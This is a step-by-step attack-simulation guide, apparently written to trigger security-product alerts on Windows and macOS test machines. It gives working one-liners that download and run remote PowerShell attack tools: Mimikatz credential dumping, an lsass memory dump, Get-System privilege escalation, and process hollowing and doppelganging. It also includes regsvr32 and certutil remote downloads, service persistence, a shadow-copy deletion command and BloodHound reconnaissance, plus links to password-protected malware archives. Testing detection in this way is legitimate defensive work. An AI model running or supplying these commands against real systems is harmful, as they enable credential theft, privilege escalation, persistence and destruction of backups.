**Windows:**

Download the Windows Attack Pack.zip directly or transfer to target windows x64 machine.

<https://www.dropbox.com/s/i0hl1hmcdvb33ah/WinAttacks.zip?dl=0>

password: infected

Please note: each point from the list below should be executed in a new CMD window to create separate incident.

1. Credential Theft  
Run Mimikatz in memory from powershell  
From Admin Powershell paste the following one-liner.  
  
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12,TLS11';IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'>); Invoke-Mimikatz -DumpCreds  
  
From Admin Powershell, paste the following one-liner:  
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12,TLS11';IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'>); get-process lsass | Out-Minidump  
  
2. Priv-Esc  
From Admin Powershell  
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12  
IEX (IWR '<https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1>' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose  
  
3. Persistence  
Persistence via Service  
From Admin Powershell, Move to the directory the attack pack was extracted to. Then execute the following  
.\SharPersist.exe -t service -c "calc.exe" -n "new service" -m add  
  
4. Execution Techniques  
Process Hollowing  
Requires an x64 box or you might bluescreen :)  
From Admin Powershell:  
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12,TLS11';IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Hollow.ps1'>); Start-Hollow -Sponsor C:\Windows\System32\notepad.exe -Hollow C:\Windows\System32\calc.exe  
  
Process Doppelganger  
Requires an x64 box or you might bluescreen :)  
From Admin Powershell:  
cd ~\Desktop  
echo "test" >> test.txt  
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12,TLS11'; IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1'>); Start-Eidolon -Target test.txt -Mimikatz -Verbose  
  
Download Techniques  
Execute DLL from Remote Location  
Double click the regy.bat file in the attack pack.  
If you want a cmdline alert, run the following from a cmd prompt:  
regsvr32.exe /s /n /u /i:<https://github.com/awsmhacks> scrobj.dll  
  
Cert Util Downloading Malware  
From Normal Command Prompt:  
certutil -urlcache -split -f <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1> pv1.ps1  
  
5. Ransomware and Destruction  
Delete Shadow Copies  
From an Admin Command Prompt  
vssadmin delete shadows /all /quiet  
  
  
Powershell Delete Shadow Copy using WMI via scheduled task of VBScript  
Requires deleter.ps1 from the attack pack.  
From admin powershell:  
Set-ExecutionPolicy unrestricted  
<path to deleter.ps1>  
  
6. Recon  
Sharphound aka Bloodhound  
From File Explorer:  
Open the folder where WinAttacks.zip was extracted.  
Double-Click on SharpHound.exe  
\*You may get a red prompt, Click more-info and run anyway

**MacOS:**

<https://www.dropbox.com/s/5o50u3065ixvxr3/MacMalwarez.zip?dl=0>

password: ransom

Some samples are app’s, those packages have files inside them that are alerted on. The names displayed in the console IF different are noted.  
\*Note - The .app’s will not be completely removed when quarantined since only the malicious file inside the app is removed.